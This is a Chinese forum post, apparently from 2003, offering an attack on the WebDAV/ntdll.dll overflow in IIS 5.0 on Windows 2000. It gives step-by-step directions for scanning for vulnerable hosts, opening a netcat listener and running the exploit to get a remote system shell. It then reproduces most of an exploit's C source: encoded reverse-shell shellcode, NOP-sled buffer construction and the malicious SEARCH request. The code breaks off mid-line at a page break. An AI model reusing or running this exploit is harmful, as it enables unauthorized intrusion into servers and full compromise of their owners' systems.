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不明白啊！难道英文版的容易溢出些?？
忽忽。。。。。。。
利用微软最新严重级WebDAV远程缓冲区溢出漏洞进入服务器!(针对英文版的方法)
此漏洞可以直接溢出得到系统最高权限!!!!
此漏洞2003-3-18 发布
发布日期：2003-03-17
更新日期：2003-03-18
受影响系统：
Microsoft IIS 5.0
- Microsoft Windows 2000 Server SP3
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Datacenter Server SP3
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Advanced Server SP3
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
这个漏洞可能是前些年就有牛人发现了的，不过一直没公布，直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的，但是漏洞本身并不是IIS造成的，而是ntdll.dll里面的一个API函数造成的。有就是说，很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的：
IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)
这几天我一直关注这方面的消息和攻击代码程序,
大家注意!!此漏洞攻击代码程序英文版和中文版是完全不同的!!
所以方法也不同,但成功率并不是很高..
介于严重性考虑现只公布针对英文版的攻击代码和方法,
需要工具:
英文溢出代码程序(!费话!)
NC.EXE (这个不用我告诉你在哪下吧!)
还有webdavscan扫描器(黑白有下的)!
1.先用webdavscan扫到有种洞洞的机子(好多的但成功率不高!)
2.然后nc -L -vv -p 666(开启监听666端口)
3.用编译好的溢出程序wb.exe < 对方IP> < 你的IP>666 0-3都试试
如果运气好的话再用nc连接666就可以直接进入对方主机的winnt目录了
下面不用我教了吧?
但现在成功率不高是因为代码刚出的原因还没有完善!(也许这也是好事!!呵呵!!)
webdav溢出程序（已编译）
/*******************************************************************/
/* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */
/* --------------------------------------------------------------- */
/* this is the exploit for ntdll.dll through WebDAV. */
/* run a netcat ex: nc -L -vv -p 666 */
/* wb server.com your_ip 666 0 */
/* the shellcode is a reverse remote shell */
/* you need to pad a bit.. the best way I think is launching */
/* the exploit with pad = 0 and after that, the server will be */
/* down for a couple of seconds, now retry with pad at 1 */
/* and so on..pad 2.. pad 3.. if you havent the shell after */
/* something like pad at 10 I think you better to restart from */
/* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */
/* on all the others servers it was at 2,3,4, etc..sometimes */
/* you can have the force with you, and get the shell in 1 try */
/* sometimes you need to pad more than 10 times ;) */
/* the shellcode was coded by myself, it is SEH + ScanMem to */
/* find the famous offsets (GetProcAddress).. */
/* I know I code like a pig, my english sucks, and my tech too */
/* it is my first exploit..and my first shellcode..sorry :P */
/* if you have comments feel free to mail me at: */
/* mailto: kralor@coromputer.net */
/* or visit us at www.coromputer.net . You can speak with us */
/* at IRC undernet channel #coromputer */
/* ok now the greetz: */
/* [El0d1e] to help me find some information about the bug :) */
/* tuck_ to support me ;) */
/* and all my friends in coromputer crew! hein les poulets! =) */
/*******************************************************************/
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
char shellc0de[] =
"\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc"
"\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8"
"\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33"
"\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6"
"\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08"
"\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64"
"\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81"
"\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8"
"\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b"
"\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f"
"\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24"
"\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd"
"\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83"
"\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00"
"\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d"
"\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51"
"\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c"
"\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56"
"\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00"
"\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d"
"\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d"
"\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8"
"\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20"
"\xff\xd0"
"CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00"
"connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00"
"cmd" // dont change anything..
"\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver..
"\x00\x00\xe8\x77"
"\x00\x00\xf0\x77"
"\x00\x00\xe4\x77"
"\x00\x88\x3e\x04" // win2k3
"\x00\x00\xf7\xbf" // win9x =P
"\xff\xff\xff\xff";
int test_host(char *host)
{
char search[100]="";
int sock;
struct hostent *heh;
struct sockaddr_in hmm;
char buf[100] ="";
if(strlen(host)>60) {
printf("error: victim host too long.\r\n");
return 1;
}
if ((heh = gethostbyname(host))==0){
printf("error: cant resolve %s",host);
return 1;
}
sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host);
hmm.sin_port = htons(80);
hmm.sin_family = AF_INET;
hmm.sin_addr = *((struct in_addr *)heh->h_addr);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: cant create socket");
return 1;
}
printf("Checking WebDav on %s ... ",host);
if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){
printf("CONNECTING_ERROR\r\n");
return 1;
}
send(sock,search,strlen(search),0);
recv(sock,buf,sizeof(buf),0);
if(buf[9]==4&&buf[10]==1&&buf[11]==1)
return 0;
printf("NOT FOUND\r\n");
return 1;
}
void help(char *program)
{
printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program);
return;
}
void banner(void)
{
printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\r\n");
printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}
void main(int argc, char *argv[])
{
WSADATA wsaData;
unsigned short port=0;
char *port_to_shell="", *ip1="", data[50]="";
unsigned int i,j;
unsigned int ip = 0 ;
int s, PAD=0x10;
struct hostent *he;
struct sockaddr_in crpt;
char buffer[65536] ="";
char request[80000]; // huuuh, what a mess! :)
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";
banner();
if((argc<4)||(argc>5)) {
help(argv[0]);
return;
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return;
}
if(test_host(argv[1]))
return;
if(argc==5)
PAD+=atoi(argv[4]);
printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD);
ip = inet_addr(argv[2]); ip1 = (char*)&ip;
shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3];
port = htons(atoi(argv[3]));
port_to_shell = (char *) &port;
shellc0de[446]=port_to_shell[0];
shellc0de[447]=port_to_shell[1];
// we xor the shellcode [xored by 0x95 to avoid bad chars]
__asm {
lea eax, shellc0de
add eax, 0x34
xor ecx, ecx
mov cx, 0x1b0
wah:
xor byte ptr[eax], 0x95
inc eax
loop wah
}
if ((he = gethostbyname(argv[1]))==0){
printf("error: cant resolve %s",argv[1]);
return;
}
crpt.sin_port = htons(80);
crpt.sin_family = AF_INET;
crpt.sin_addr = *((struct in_addr *)he->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: cant create socket");
return;
}
printf("Connecting... ");
if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){
printf("ERROR\r\n");
return;
}
// No Operation.
for(i=0;i<sizeof(buffer);buffer=(char)0x90,i++);
// fill the buffer with the shellcode
for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer=shellc0de[j],i++,j++);
// well..it is not necessary..
for(i=0;i<2500;buffer=PAD,i++);
/* we can simply put our ret in this 2 offsets.. */
//buffer[2086]=PAD;
//buffer[2085]=PAD;
buffer[sizeof(buffer)]=0x00;
memset(request,0,sizeof(request));
memset(data,0,sizeof(data));
sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
sprintf(request, [1] [2] 下一页
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